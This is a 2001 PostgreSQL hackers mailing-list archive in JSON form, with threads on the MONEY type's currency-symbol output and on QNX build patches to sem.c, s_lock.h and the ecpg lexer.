"msg_contents": "At 12:55 02/02/01 -0400, The Hermit Hacker wrote:\n>On Fri, 2 Feb 2001, Peter T Mount wrote:\n>\n> > When did the MONEY type change it's output format?\n> >\n> > While working on the JDBC test suite, Money broke. It seems to output:\n> > $10.99\n> > ($10.99) for negative values\n> >\n> > While since ages past, the PGMoney class interprets it as a number (no\n> > currency symbol).\n>\n>Looking over at Thomas and asking him, his recollection is that it always\n>had the currency symbol ... but he's not 100% certain about that ...\n>\n>Can you confirm with the 7.0.3 server?\n\nAs I just said to Mitch (who tested against 6.4 and it had the currency \nsymbol) no one must use Money via JDBC as no one's found it before. The \nPGMoney class dates from the 6.2/6.3 days so it might date back that far. \nI'll fix it anyhow.\n\nPeter\n\n\n",
"msg_date": "Sat, 03 Feb 2001 10:54:02 +0000",
"msg_from": "Peter Mount <peter@retep.org.uk>",
"msg_from_op": false,
"msg_subject": "Re: Format of the Money field"
},
{
"msg_contents": "Just a question on this for my own personal satisfaction...\n\nWhat's the standard on Money type (if there is one) and if it doesn't\ninclude the $ (of course that would change based on what currency you were\nusing) then is it any different than numeric(9,2)? numeric(9,2) is what I\nuse for all fields that need to hold a dollar amount so I'm curious.. I\nremember reading in the documentation that money was numeric(9,2) with the\ndollar sign added but I wanted to check with the man :-)\n\n-Mitch\n\n\n----- Original Message -----\nFrom: \"Peter Mount\" <peter@retep.org.uk>\nTo: \"Mitch Vincent\" <mitch@venux.net>; \"The Hermit Hacker\" <scrappy@hub.org>\nCc: <pgsql-hackers@postgresql.org>\nSent: Saturday, February 03, 2001 5:50 AM\nSubject: Re: Format of the Money field\n\n\n> At 12:07 02/02/01 -0500, Mitch Vincent wrote:\n>\n> >hhs=> select version();\n> >version\n> >-------------------------------------------------------------------\n> >PostgreSQL 6.4.2 on i386-unknown-freebsd3.1, compiled by gcc 2.7.2.\n>\n> [snip]\n>\n>\n> > If it changed, it looks like it changed a long time ago! :-)\n>\n> Hmm, shows how many people use Money via JDBC then, as no one's reported\nit\n> before. I only found out while testing JBuilder's interaction with the\nJDBC\n> driver.\n>\n> Peter\n>\n> >-Mitch\n> >\n> >\n> >----- Original Message -----\n> >From: \"The Hermit Hacker\" <scrappy@hub.org>\n> >To: \"Peter T Mount\" <peter@retep.org.uk>\n> >Cc: <pgsql-hackers@postgresql.org>\n> >Sent: Friday, February 02, 2001 11:55 AM\n> >Subject: Re: Format of the Money field\n> >\n> >\n> > > On Fri, 2 Feb 2001, Peter T Mount wrote:\n> > >\n> > > > When did the MONEY type change it's output format?\n> > > >\n> > > > While working on the JDBC test suite, Money broke. It seems to\noutput:\n> > > > $10.99\n> > > > ($10.99) for negative values\n> > > >\n> > > > While since ages past, the PGMoney class interprets it as a number\n(no\n> > > > currency symbol).\n> > >\n> > > Looking over at Thomas and asking him, his recollection is that it\nalways\n> > > had the currency symbol ... but he's not 100% certain about that ...\n> > >\n> > > Can you confirm with the 7.0.3 server?\n> > >\n> > >\n> > >\n>\n>\n\n",
"msg_date": "Sat, 3 Feb 2001 11:39:29 -0500",
"msg_from": "\"Mitch Vincent\" <mitch@venux.net>",
"msg_from_op": false,
"msg_subject": "Re: Format of the Money field"
},
{
"msg_contents": "I acknowledged the bad nature of the money field (pretty clearly stated in\nmy email, I think).. I agree, it shouldn't contain a sign of anything.. My\napplications are used in the US and in the US only so I don't have issue\nwith the currency symbol. I don't use the money type anyway (the example I\nused was from someone else's code!).. What I was actually asking about was\nthe need for the money type, the same thing can be achieved using the other\ndata types (in fact the documentation lists money as numeric(9,2) with the $\nadded I believe).. All that for exactly what you said, currency. There are\nas many currencies as countries (almost) so I totally agree, a symbol is A\nBad Thing(TM).. You're also right (and bring up a good point) about the\nstoring of money in the smallest unit if you're coding international... I\nhaven't had to yet but it's something I'll be sure to do if it ever comes\nup..\n\nOf course all this is moot, Peter already said he was changing it and that\nit shouldn't have been that way, it's just been overlooked (probably because\nno one is using the money type)! :-)\n\nI apologize to the list, I meant to send that email directly to Peter -- I\nwas too quick on the send..\n\n-Mitch\n\n----- Original Message -----\nFrom: \"Dave Mertens\" <dave@redbull.zyprexia.com>\nTo: <pgsql-hackers@postgresql.org>\nSent: Saturday, February 03, 2001 2:12 PM\nSubject: Re: Re: Format of the Money field\n\n\n> On Sat, Feb 03, 2001 at 11:39:29AM -0500, Mitch Vincent wrote:\n> > What's the standard on Money type (if there is one) and if it doesn't\n> > include the $ (of course that would change based on what currency you\nwere\n> > using) then is it any different than numeric(9,2)? numeric(9,2) is what\nI\n> > use for all fields that need to hold a dollar amount so I'm curious.. I\n> > remember reading in the documentation that money was numeric(9,2) with\nthe\n> > dollar sign added but I wanted to check with the man :-)\n>\n> Oh, never heard of currency?? NOT every country is using dollars. In a few\n> months we in Europe are going to use the Euro. A money-type is normaly a\n> floating type with a precision of 5 (float(5)). A money field is just like\n> an float, only less precies. By the way, storing money values with an\n> decimal precision is a (mostly) a bad thing. We Save currency amounts in\n> the smallest unit. We save every amount in Eurocents. Our programs format\n> the amount to the proper format (US-format (35,673.56) or EuropeannFormat\n> (35.673,56). Currency signs are bad things in databases. Most database are\n> international, so most amounts also!\n>\n> Sorry for this hard correction.\n>\n> Dave Mertens\n> System Administrator ISM, Netherlands\n> dmertens@ism.nl\n>\n\n",
"msg_date": "Sat, 3 Feb 2001 13:22:36 -0500",
"msg_from": "\"Mitch Vincent\" <mitch@venux.net>",
"msg_from_op": false,
"msg_subject": "Re: Re: Format of the Money field"
},
{
"msg_contents": "On Sat, Feb 03, 2001 at 11:39:29AM -0500, Mitch Vincent wrote:\n> What's the standard on Money type (if there is one) and if it doesn't\n> include the $ (of course that would change based on what currency you were\n> using) then is it any different than numeric(9,2)? numeric(9,2) is what I\n> use for all fields that need to hold a dollar amount so I'm curious.. I\n> remember reading in the documentation that money was numeric(9,2) with the\n> dollar sign added but I wanted to check with the man :-)\n\nOh, never heard of currency?? NOT every country is using dollars. In a few\nmonths we in Europe are going to use the Euro. A money-type is normaly a\nfloating type with a precision of 5 (float(5)). A money field is just like\nan float, only less precies. By the way, storing money values with an\ndecimal precision is a (mostly) a bad thing. We Save currency amounts in\nthe smallest unit. We save every amount in Eurocents. Our programs format \nthe amount to the proper format (US-format (35,673.56) or EuropeannFormat \n(35.673,56). Currency signs are bad things in databases. Most database are\ninternational, so most amounts also!\n\nSorry for this hard correction.\n\nDave Mertens\nSystem Administrator ISM, Netherlands\ndmertens@ism.nl\n",
"msg_date": "Sat, 3 Feb 2001 19:12:37 +0000",
"msg_from": "Dave Mertens <dave@redbull.zyprexia.com>",
"msg_from_op": false,
"msg_subject": "Re: Re: Format of the Money field"
},
{
"msg_contents": "\nOn Sat, 3 Feb 2001, Dave Mertens wrote:\n\n> On Sat, Feb 03, 2001 at 11:39:29AM -0500, Mitch Vincent wrote:\n> > What's the standard on Money type (if there is one) and if it doesn't\n> > include the $ (of course that would change based on what currency you were\n> > using) then is it any different than numeric(9,2)? numeric(9,2) is what I\n> > use for all fields that need to hold a dollar amount so I'm curious.. I\n> > remember reading in the documentation that money was numeric(9,2) with the\n> > dollar sign added but I wanted to check with the man :-)\n\n This is possible if you use for formatting to_char()/to_number() with \nfull locale support (here for example with de_DE locale):\n\ntest=# select to_char(1000.12, 'L9G999D99');\n to_char\n-------------\n DM 1.000,12\n(1 row)\n\ntest=# select to_number('DM 1.000,12', 'L9G999D99');\n to_number\n-----------\n 1000.12\n(1 row)\n\n IMHO use numeric and some formatting routine is good idea (better than\ncurrent money datetype..)\n\n> Oh, never heard of currency?? NOT every country is using dollars. In a few\n> months we in Europe are going to use the Euro. A money-type is normaly a\n\n BTW, the other day I read nice paper about some US-banks that not known\nEuro yet, and have problems with cheque in Euro... :-)\n\n How locale is needful for Euro currency symbol? :-)\n\n> floating type with a precision of 5 (float(5)). A money field is just like\n\n A float for money? Not sure that it is normaly. See archive (already\ndiscussed), here is a part or old Jan's letter:\n\n On Mon, 13 Dec 1999, Jan Wieck wrote:\n\n In some countries (Germany at least) storage of financial\n booking information is not permitted to use floats. And you\n aren't allowed to use it for calculation of taxes etc.,\n instead you must use some datatype with a fixable number of\n digits after the decimal point.\n\n\n> an float, only less precies. By the way, storing money values with an\n> decimal precision is a (mostly) a bad thing. We Save currency amounts in\n> the smallest unit. We save every amount in Eurocents. Our programs format \n> the amount to the proper format (US-format (35,673.56) or EuropeannFormat \n> (35.673,56). Currency signs are bad things in databases. Most database are\n> international, so most amounts also!\n\nIn PostgreSQL it is output thing, a currency symbol is not inside DB. \n\n\t\tKarel\n\n",
"msg_date": "Mon, 5 Feb 2001 09:50:33 +0100 (CET)",
"msg_from": "Karel Zak <zakkr@zf.jcu.cz>",
"msg_from_op": false,
"msg_subject": "Re: Re: Format of the Money field"
},
{
"msg_contents": "> IMHO use numeric and some formatting routine is good idea (better than\n> current money datetype..)\n\nThe \"money\" type implementation was a workaround/hack to make up for the\nlack of a \"numeric\" type. I've always assumed that it would be removed\nas soon as numeric was available and fast enough to meet the needs. At\nthe moment \"money\" uses a 32-bit integer for its implementation, which\nis not adequate for most large financial applications.\n\nAt some point we might want to repackage \"money\" as a thin wrapper over\n\"numeric\" which adds currency symbols etc.\n\n - Thomas\n",
"msg_date": "Mon, 05 Feb 2001 15:14:42 +0000",
"msg_from": "Thomas Lockhart <lockhart@alumni.caltech.edu>",
"msg_from_op": false,
"msg_subject": "Re: Re: Format of the Money field"
}
] |
[
{
"msg_contents": "I have compiled 7.1 b3 in QNX but to let postgresql works I changed something.\n\nIn src/backend/port/qnx4/sem.c\n#define SEMMAX (PROC_NSEMS_PER_SET) ----------------------OLD\n#define SEMMAX (PROC_NSEMS_PER_SET + 1) ----------------------NEW\n\nin src/include/storage/s_lock.h\n#if defined(__i386__) ----------------------OLD\n#if (defined(__i386__) && !defined(__QNX__)) ----------------------NEW\n\nin src/interfaces/ecpg/preproc/pgc.c\n#ifndef ECHO ---------------------OLD\n#ifndef (ECHO || defined(__QNX__)) ----------------------NEW\n\nAttached are the files \n\n\n\n\nMaurizio Cauci\nDREAMTECH di Cauci Maurizio\nVia Ronchetti, 2 - 21013 Gallarate (VA)\nwww.dreamtech-it.com",
"msg_date": "Fri, 2 Feb 2001 10:31:05 +0100",
"msg_from": "\"Maurizio\" <maurizio.c@libero.it>",
"msg_from_op": true,
"msg_subject": "7.1 beta 3 CHANGES FOR QNX"
},
{
"msg_contents": "I have applied the following patch for QNX. I had to do the ECHO test\nin pgc.l because pgc.c is generated from pgc.l. Can you test this to\nsee it fixes the problem?\n\n\nin [ Charset ISO-8859-1 unsupported, converting... ]\n> I have compiled 7.1 b3 in QNX but to let postgresql works I changed something.\n> \n> In src/backend/port/qnx4/sem.c\n> #define SEMMAX (PROC_NSEMS_PER_SET) ----------------------OLD\n> #define SEMMAX (PROC_NSEMS_PER_SET + 1) ----------------------NEW\n> \n> in src/include/storage/s_lock.h\n> #if defined(__i386__) ----------------------OLD\n> #if (defined(__i386__) && !defined(__QNX__)) ----------------------NEW\n> \n> in src/interfaces/ecpg/preproc/pgc.c\n> #ifndef ECHO ---------------------OLD\n> #ifndef (ECHO || defined(__QNX__)) ----------------------NEW\n> \n> Attached are the files \n> \n> \n> \n> \n> Maurizio Cauci\n> DREAMTECH di Cauci Maurizio\n> Via Ronchetti, 2 - 21013 Gallarate (VA)\n> www.dreamtech-it.com\n> \n\n[ Attachment, skipping... ]\n\n[ Attachment, skipping... ]\n\n[ Attachment, skipping... ]\n\n\n-- \n Bruce Momjian | http://candle.pha.pa.us\n pgman@candle.pha.pa.us | (610) 853-3000\n + If your life is a hard drive, | 830 Blythe Avenue\n + Christ can be your backup. | Drexel Hill, Pennsylvania 19026\n\n? config.log\n? config.cache\n? config.status\n? GNUmakefile\n? src/Makefile.custom\n? src/GNUmakefile\n? src/Makefile.global\n? src/log\n? src/crtags\n? src/backend/port/Makefile\n? src/bin/pg_dump/pg_dump\n? src/bin/pg_dump/pg_restore\n? src/bin/pg_dump/pg_dumpall\n? src/include/config.h\n? src/include/stamp-h\n? src/interfaces/libpq/libpq.so.2.1\nIndex: src/backend/port/qnx4/sem.c\n===================================================================\nRCS file: /home/projects/pgsql/cvsroot/pgsql/src/backend/port/qnx4/sem.c,v\nretrieving revision 1.3\ndiff -c -r1.3 sem.c\n*** src/backend/port/qnx4/sem.c\t2000/04/12 17:15:30\t1.3\n--- src/backend/port/qnx4/sem.c\t2001/02/02 18:13:12\n***************\n*** 26,32 ****\n \n \n #define SETMAX\t((MAXBACKENDS + PROC_NSEMS_PER_SET - 1) / PROC_NSEMS_PER_SET)\n! #define SEMMAX\t(PROC_NSEMS_PER_SET)\n #define OPMAX\t8\n \n #define MODE\t0700\n--- 26,32 ----\n \n \n #define SETMAX\t((MAXBACKENDS + PROC_NSEMS_PER_SET - 1) / PROC_NSEMS_PER_SET)\n! #define SEMMAX\t(PROC_NSEMS_PER_SET+1)\n #define OPMAX\t8\n \n #define MODE\t0700\nIndex: src/include/storage/s_lock.h\n===================================================================\nRCS file: /home/projects/pgsql/cvsroot/pgsql/src/include/storage/s_lock.h,v\nretrieving revision 1.86\ndiff -c -r1.86 s_lock.h\n*** src/include/storage/s_lock.h\t2001/01/24 19:43:28\t1.86\n--- src/include/storage/s_lock.h\t2001/02/02 18:13:13\n***************\n*** 112,118 ****\n */\n \n \n! #if defined(__i386__)\n #define TAS(lock) tas(lock)\n \n static __inline__ int\n--- 112,118 ----\n */\n \n \n! #if defined(__i386__) && !defined(__QNX__)\n #define TAS(lock) tas(lock)\n \n static __inline__ int\nIndex: src/interfaces/ecpg/preproc/pgc.l\n===================================================================\nRCS file: /home/projects/pgsql/cvsroot/pgsql/src/interfaces/ecpg/preproc/pgc.l,v\nretrieving revision 1.73\ndiff -c -r1.73 pgc.l\n*** src/interfaces/ecpg/preproc/pgc.l\t2001/01/24 19:43:29\t1.73\n--- src/interfaces/ecpg/preproc/pgc.l\t2001/02/02 18:13:17\n***************\n*** 35,40 ****\n--- 35,45 ----\n #undef yywrap\n #endif /* yywrap */\n \n+ #ifdef __QNX__\n+ /* For some reason, QNX needs this, 2001-02-02 */\n+ #define ECHO (void) fwrite( yytext, yyleng, 1, yyout )\n+ #endif\n+ \n #define YY_NO_UNPUT\n \n extern YYSTYPE yylval;",
"msg_date": "Fri, 2 Feb 2001 13:21:57 -0500 (EST)",
"msg_from": "Bruce Momjian <pgman@candle.pha.pa.us>",
"msg_from_op": false,
"msg_subject": "Re: 7.1 beta 3 CHANGES FOR QNX"
},
{
"msg_contents": "I have tested and works well.\n\n.\n----- Original Message -----\nFrom: \"Bruce Momjian\" <pgman@candle.pha.pa.us>\nTo: \"Maurizio\" <maurizio.c@libero.it>\nCc: <pgsql-hackers@postgresql.org>\nSent: Friday, February 02, 2001 7:21 PM\nSubject: Re: [HACKERS] 7.1 beta 3 CHANGES FOR QNX\n\n\n> I have applied the following patch for QNX. I had to do the ECHO test\n> in pgc.l because pgc.c is generated from pgc.l. Can you test this to\n> see it fixes the problem?\n>\n>\n> in [ Charset ISO-8859-1 unsupported, converting... ]\n> > I have compiled 7.1 b3 in QNX but to let postgresql works I changed\nsomething.\n> >\n> > In src/backend/port/qnx4/sem.c\n> > #define SEMMAX\nSEMS_PER_SET) ----------------------OLD\n> > #define SEMMAX (PROC_NSEMS_PER_SET +\n ----------------------NEW\n> >\n> > in src/include/storage/s_lock.h\n> > #if\n ----------------------OLD\n> > #if (defined(__i386__) &&\n ----------------------NEW\n> >\n> > in src/interfaces/ecpg/preproc/pgc.c\n> > #ifndef\n ---------------------OLD\n> > #ifndef (ECHO ||\n ----------------------NEW\n> >\n> > Attached are the files\n> >\n> >\n> >\n> >\n> > Maurizio Cauci\n> > DREAMTECH di Cauci Maurizio\n> > Via Ronchetti, 2 - 21013 Gallarate (VA)\n> > www.dreamtech-it.com\n> >\n>\n> [ Attachment, skipping... ]\n>\n> [ Attachment, skipping... ]\n>\n> [ Attachment, skipping... ]\n>\n>\n> --\n> Bruce Momjian | http://candle.pha.pa.us\n> pgman@candle.pha.pa.us | (610) 853-3000\n> + If your life is a hard drive, | 830 Blythe Avenue\n> + Christ can be your backup. | Drexel Hill, Pennsylvania 19026\n>\n\n\n----------------------------------------------------------------------------\n----\n\n\n> ? config.log\n> ? config.cache\n> ? config.status\n> ? GNUmakefile\n> ? src/Makefile.custom\n> ? src/GNUmakefile\n> ? src/Makefile.global\n> ? src/log\n> ? src/crtags\n> ? src/backend/port/Makefile\n> ? src/bin/pg_dump/pg_dump\n> ? src/bin/pg_dump/pg_restore\n> ? src/bin/pg_dump/pg_dumpall\n> ? src/include/config.h\n> ? src/include/stamp-h\n> ? src/interfaces/libpq/libpq.so.2.1\n> Index: src/backend/port/qnx4/sem.c\n> ===================================================================\n> RCS file: /home/projects/pgsql/cvsroot/pgsql/src/backend/port/qnx4/sem.c,v\n> retrieving revision 1.3\n> diff -c -r1.3 sem.c\n> *** src/backend/port/qnx4/sem.c 2000/04/12 17:15:30 1.3\n> --- src/backend/port/qnx4/sem.c 2001/02/02 18:13:12\n> ***************\n> *** 26,32 ****\n>\n>\n> #define SETMAX ((MAXBACKENDS + PROC_NSEMS_PER_SET - 1) /\nPROC_NSEMS_PER_SET)\n> ! #define SEMMAX (PROC_NSEMS_PER_SET)\n> #define OPMAX 8\n>\n> #define MODE 0700\n> --- 26,32 ----\n>\n>\n> #define SETMAX ((MAXBACKENDS + PROC_NSEMS_PER_SET - 1) /\nPROC_NSEMS_PER_SET)\n> ! #define SEMMAX (PROC_NSEMS_PER_SET+1)\n> #define OPMAX 8\n>\n> #define MODE 0700\n> Index: src/include/storage/s_lock.h\n> ===================================================================\n> RCS file:\n/home/projects/pgsql/cvsroot/pgsql/src/include/storage/s_lock.h,v\n> retrieving revision 1.86\n> diff -c -r1.86 s_lock.h\n> *** src/include/storage/s_lock.h 2001/01/24 19:43:28 1.86\n> --- src/include/storage/s_lock.h 2001/02/02 18:13:13\n> ***************\n> *** 112,118 ****\n> */\n>\n>\n> ! #if defined(__i386__)\n> #define TAS(lock) tas(lock)\n>\n> static __inline__ int\n> --- 112,118 ----\n> */\n>\n>\n> ! #if defined(__i386__) && !defined(__QNX__)\n> #define TAS(lock) tas(lock)\n>\n> static __inline__ int\n> Index: src/interfaces/ecpg/preproc/pgc.l\n> ===================================================================\n> RCS file:\n/home/projects/pgsql/cvsroot/pgsql/src/interfaces/ecpg/preproc/pgc.l,v\n> retrieving revision 1.73\n> diff -c -r1.73 pgc.l\n> *** src/interfaces/ecpg/preproc/pgc.l 2001/01/24 19:43:29 1.73\n> --- src/interfaces/ecpg/preproc/pgc.l 2001/02/02 18:13:17\n> ***************\n> *** 35,40 ****\n> --- 35,45 ----\n> #undef yywrap\n> #endif /* yywrap */\n>\n> + #ifdef __QNX__\n> + /* For some reason, QNX needs this, 2001-02-02 */\n> + #define ECHO (void) fwrite( yytext, yyleng, 1, yyout )\n> + #endif\n> +\n> #define YY_NO_UNPUT\n>\n> extern YYSTYPE yylval;\n>\n\n",
"msg_date": "Sat, 3 Feb 2001 14:20:33 +0100",
"msg_from": "\"Maurizio\" <maurizio.c@libero.it>",
"msg_from_op": true,
"msg_subject": "Re: 7.1 beta 3 CHANGES FOR QNX"
},
{
"msg_contents": "Bruce Momjian <pgman@candle.pha.pa.us> writes:\n> *** src/interfaces/ecpg/preproc/pgc.l\t2001/01/24 19:43:29\t1.73\n> --- src/interfaces/ecpg/preproc/pgc.l\t2001/02/02 18:13:17\n> ***************\n> *** 35,40 ****\n> --- 35,45 ----\n> #undef yywrap\n> #endif /* yywrap */\n \n> + #ifdef __QNX__\n> + /* For some reason, QNX needs this, 2001-02-02 */\n> + #define ECHO (void) fwrite( yytext, yyleng, 1, yyout )\n> + #endif\n> + \n> #define YY_NO_UNPUT\n \n> extern YYSTYPE yylval;\n\nI do not believe this patch is correct or necessary. What is it trying\nto fix, and if there's a problem here then why is there not a problem in\nevery other one of our flex outputs?\n\nIf there is a real problem --- presumably of the form \"some QNX header\nfile pollutes the namespace with a definition of ECHO\" --- then a more\nappropriate fix would be\n\n+ #ifdef __QNX__\n+ /* Get rid of conflicting definition of ECHO from QNX's <something.h> */\n+ #undef ECHO\n+ #endif\n\nso as not to tie ourselves to the exact definition of ECHO that flex is\ncurrently using. However, I would first like to know where the conflict\nis and why it doesn't break every other flex output in existence.\n\n\t\t\tregards, tom lane\n",
"msg_date": "Sat, 03 Feb 2001 15:49:33 -0500",
"msg_from": "Tom Lane <tgl@sss.pgh.pa.us>",
"msg_from_op": false,
"msg_subject": "Re: 7.1 beta 3 CHANGES FOR QNX "
},
{
"msg_contents": "ECHO is defined in the following QNX gcc include files :\ntermio.h\ntermios.h\n\nIf ECHO was not redefined in pgc.l you can't compile in embedded SQL C.\n\nI am also checking for another problem.\nI have some errors if I compile pgsql without change the typedef Size in\nc.h.\nTo succesfully compile pgsql I have changed typedef Size in int insteed\nsize_t.\n\nregards\nMaurizio Cauci\n\n\n\n.\n----- Original Message -----\nFrom: \"Tom Lane\" <tgl@sss.pgh.pa.us>\nTo: \"Bruce Momjian\" <pgman@candle.pha.pa.us>\nCc: \"Maurizio\" <maurizio.c@libero.it>; <pgsql-hackers@postgresql.org>\nSent: Saturday, February 03, 2001 9:49 PM\nSubject: Re: [HACKERS] 7.1 beta 3 CHANGES FOR QNX\n\n\n> Bruce Momjian <pgman@candle.pha.pa.us> writes:\n> > *** src/interfaces/ecpg/preproc/pgc.l 2001/01/24 19:43:29 1.73\n> > --- src/interfaces/ecpg/preproc/pgc.l 2001/02/02 18:13:17\n> > ***************\n> > *** 35,40 ****\n> > --- 35,45 ----\n> > #undef yywrap\n> > #endif /* yywrap */\n>\n> > + #ifdef __QNX__\n> > + /* For some reason, QNX needs this, 2001-02-02 */\n> > + #define ECHO (void) fwrite( yytext, yyleng, 1, yyout )\n> > + #endif\n> > +\n> > #define YY_NO_UNPUT\n>\n> > extern YYSTYPE yylval;\n>\n> I do not believe this patch is correct or necessary. What is it trying\n> to fix, and if there's a problem here then why is there not a problem in\n> every other one of our flex outputs?\n>\n> If there is a real problem --- presumably of the form \"some QNX header\n> file pollutes the namespace with a definition of ECHO\" --- then a more\n> appropriate fix would be\n>\n> + #ifdef __QNX__\n> + /* Get rid of conflicting definition of ECHO from QNX's <something.h> */\n> + #undef ECHO\n> + #endif\n>\n> so as not to tie ourselves to the exact definition of ECHO that flex is\n> currently using. However, I would first like to know where the conflict\n> is and why it doesn't break every other flex output in existence.\n>\n> regards, tom lane\n\n",
"msg_date": "Mon, 5 Feb 2001 10:42:35 +0100",
"msg_from": "\"Maurizio\" <maurizio.c@libero.it>",
"msg_from_op": true,
"msg_subject": "Re: 7.1 beta 3 CHANGES FOR QNX "
},
{
"msg_contents": "\"Maurizio\" <maurizio.c@libero.it> writes:\n> ECHO is defined in the following QNX gcc include files :\n> termio.h\n> termios.h\n> If ECHO was not redefined in pgc.l you can't compile in embedded SQL C.\n\nWell, my question still stands: why aren't the other four flex outputs\nalso broken? They all use ECHO.\n\nIn any case, I'd prefer to see this fixed by not including <termios.h>\nrather than hacking up the .l files. Surely it doesn't need to be\nincluded everywhere, as src/include/port/qnx4.h is now causing to\nhappen. In fact, it looks to me like qnx4.h probably includes and\ndefines a lot more than it needs to; would you experiment with stripping\nit down?\n\n> I am also checking for another problem.\n> I have some errors if I compile pgsql without change the typedef Size in\n> c.h.\n> To succesfully compile pgsql I have changed typedef Size in int insteed\n> size_t.\n\nThat strikes me as *horribly* dangerous. There is too much code whose\nbehavior might change in unpleasant ways if Size becomes a signed type.\nPlease explain what problems you are seeing that make you think this is\na good idea.\n\n\nAndreas, the QNX port is largely your work IIRC. What do you think of\nthese issues? Have you tried 7.1beta on QNX?\n\n\t\t\tregards, tom lane\n",
"msg_date": "Mon, 05 Feb 2001 22:08:49 -0500",
"msg_from": "Tom Lane <tgl@sss.pgh.pa.us>",
"msg_from_op": false,
"msg_subject": "Re: 7.1 beta 3 CHANGES FOR QNX "
},
{
"msg_contents": "> \"Tom Lane\" <tgl@sss.pgh.pa.us> writes:\n>> Well, my question still stands: why aren't the other four flex outputs\n>> also broken? They all use ECHO.\n\nI don't know why, but probably you are right. I only know that if ECHO was\nnot redefined, when I compile with ecpg the output c file has all the\noriginal lines on the same row (without an LF).\n\n> In any case, I'd prefer to see this fixed by not including <termios.h>\n> rather than hacking up the .l files. Surely it doesn't need to be\n> included everywhere, as src/include/port/qnx4.h is now causing to\n> happen. In fact, it looks to me like qnx4.h probably includes and\n> defines a lot more than it needs to; would you experiment with stripping\n> it down?\n\nIf You want I can experiment on qnx4.h. On Saturday I will post the risults.\n\n> That strikes me as *horribly* dangerous. There is too much code whose\n> behavior might change in unpleasant ways if Size becomes a signed type.\n> Please explain what problems you are seeing that make you think this is\n> a good idea.\n\nIn 7.0.2 and 7.0.3 release I have errors about some parameters in TCP/IP\nfunctions.\nThe compiler tells me that I have a long int where an int was expected. When\nI changed Size in int I compiled successfuly PGSQL. In 7.1 I changed\nimmediatly the size type and all seems works.\nAfter your message I modified again Size type in size_t and recompiled 7.1\nrelease. I compiled successfuly this version the only warnings are about\nelog lines in wich there are Size variables. The compiler tells me I have a\nlong int where an unsigned was expected (only the format, there is a %u).\ne.g. readfuncs.c at 2089 and 2113.\nHowever PGSQL works right.\n\n> Andreas, the QNX port is largely your work IIRC. What do you think of\n> these issues? Have you tried 7.1beta on QNX?\n\nI also would like to know Andreas Kardos is still out there and what he\nthink. When, some month ago,\nI starded looking for POSTGRESQL and I had a lot of problems compiling 7.0.1\nversion (the major problem was what I have to do for the Size type?) I send\nsome e-mails to Dr. Kardos and he tells me that his version working fine.\nAfter the first replay he never didn't replay to me.\nAlso other QNX users has the same problems I had and send me e-mails to know\nif I have compiled successfully PGSQL for QNX. Nobody has had a reply from\nDr. Kardos.\n\nthanks\n\nregards\nMaurizio Cauci\n\n\n----- Original Message -----\nFrom: \"Tom Lane\" <tgl@sss.pgh.pa.us>\nTo: \"Maurizio\" <maurizio.c@libero.it>\nCc: <pgsql-hackers@postgresql.org>; \"Bruce Momjian\"\n<pgman@candle.pha.pa.us>; \"Kardos, Dr. Andreas\" <\nSent: Tuesday, February 06, 2001 4:08 AM\nSubject: Re: [HACKERS] 7.1 beta 3 CHANGES FOR QNX\n\n\n> \"Maurizio\" <maurizio.c@libero.it> writes:\n> > ECHO is defined in the following QNX gcc include files :\n> > termio.h\n> > termios.h\n> > If ECHO was not redefined in pgc.l you can't compile in embedded SQL C.\n>\n> Well, my question still stands: why aren't the other four flex outputs\n> also broken? They all use ECHO.\n>\n> In any case, I'd prefer to see this fixed by not including <termios.h>\n> rather than hacking up the .l files. Surely it doesn't need to be\n> included everywhere, as src/include/port/qnx4.h is now causing to\n> happen. In fact, it looks to me like qnx4.h probably includes and\n> defines a lot more than it needs to; would you experiment with stripping\n> it down?\n>\n> > I am also checking for another problem.\n> > I have some errors if I compile pgsql without change the typedef Size in\n> > c.h.\n> > To succesfully compile pgsql I have changed typedef Size in int insteed\n> > size_t.\n>\n> That strikes me as *horribly* dangerous. There is too much code whose\n> behavior might change in unpleasant ways if Size becomes a signed type.\n> Please explain what problems you are seeing that make you think this is\n> a good idea.\n>\n>\n> Andreas, the QNX port is largely your work IIRC. What do you think of\n> these issues? Have you tried 7.1beta on QNX?\n>\n> regards, tom lane\n\n\n\n",
"msg_date": "Tue, 6 Feb 2001 11:11:31 +0100",
"msg_from": "\"Maurizio\" <maurizio@dreamtech-it.com>",
"msg_from_op": false,
"msg_subject": "Re: 7.1 beta 3 CHANGES FOR QNX "
},
{
"msg_contents": "> \"Tom Lane\" <tgl@sss.pgh.pa.us> writes:\n>> Well, my question still stands: why aren't the other four flex outputs\n>> also broken? They all use ECHO.\n\nI don't know why, but probably you are right. I only know that if ECHO was\nnot redefined, when I compile with ecpg the output c file has all the\noriginal lines on the same row (without an LF).\n\n> In any case, I'd prefer to see this fixed by not including <termios.h>\n> rather than hacking up the .l files. Surely it doesn't need to be\n> included everywhere, as src/include/port/qnx4.h is now causing to\n> happen. In fact, it looks to me like qnx4.h probably includes and\n> defines a lot more than it needs to; would you experiment with stripping\n> it down?\n\nIf You want I can experiment on qnx4.h. On Saturday I will post the risults.\n\n> That strikes me as *horribly* dangerous. There is too much code whose\n> behavior might change in unpleasant ways if Size becomes a signed type.\n> Please explain what problems you are seeing that make you think this is\n> a good idea.\n\nIn 7.0.2 and 7.0.3 release I have errors about some parameters in TCP/IP\nfunctions.\nThe compiler tells me that I have a long int where an int was expected. When\nI changed Size in int I compiled successfuly PGSQL. In 7.1 I changed\nimmediatly the size type and all seems works.\nAfter your message I modified again Size type in size_t and recompiled 7.1\nrelease. I compiled successfuly this version the only warnings are about\nelog lines in wich there are Size variables. The compiler tells me I have a\nlong int where an unsigned was expected (only the format, there is a %u).\nHowever PGSQL works right.\n\n> Andreas, the QNX port is largely your work IIRC. What do you think of\n> these issues? Have you tried 7.1beta on QNX?\n\nI also would like to know what Andreas Kardos think. When, some month ago,\nI starded looking for POSTGRESQL and I had a lot of problems compiling 7.0.1\nversion (the major problem was what I have to do for the Size type?) I send\nsome e-mails to Dr. Kardos and he tells me that his version working fine.\nAfter the first replay he didn't replay to me.\nAlso other QNX users has the same problems I had and send me e-mails to know\nif I have compiled successfully PGSQl for QNX. Nobody has had a reply from\nDr. Kardos.\n\nregards\nMaurizio Cauci\n\n\n----- Original Message -----\nFrom: \"Tom Lane\" <tgl@sss.pgh.pa.us>\nTo: \"Maurizio\" <maurizio.c@libero.it>\nCc: <pgsql-hackers@postgresql.org>; \"Bruce Momjian\"\n<pgman@candle.pha.pa.us>; \"Kardos, Dr. Andreas\" <\nSent: Tuesday, February 06, 2001 4:08 AM\nSubject: Re: [HACKERS] 7.1 beta 3 CHANGES 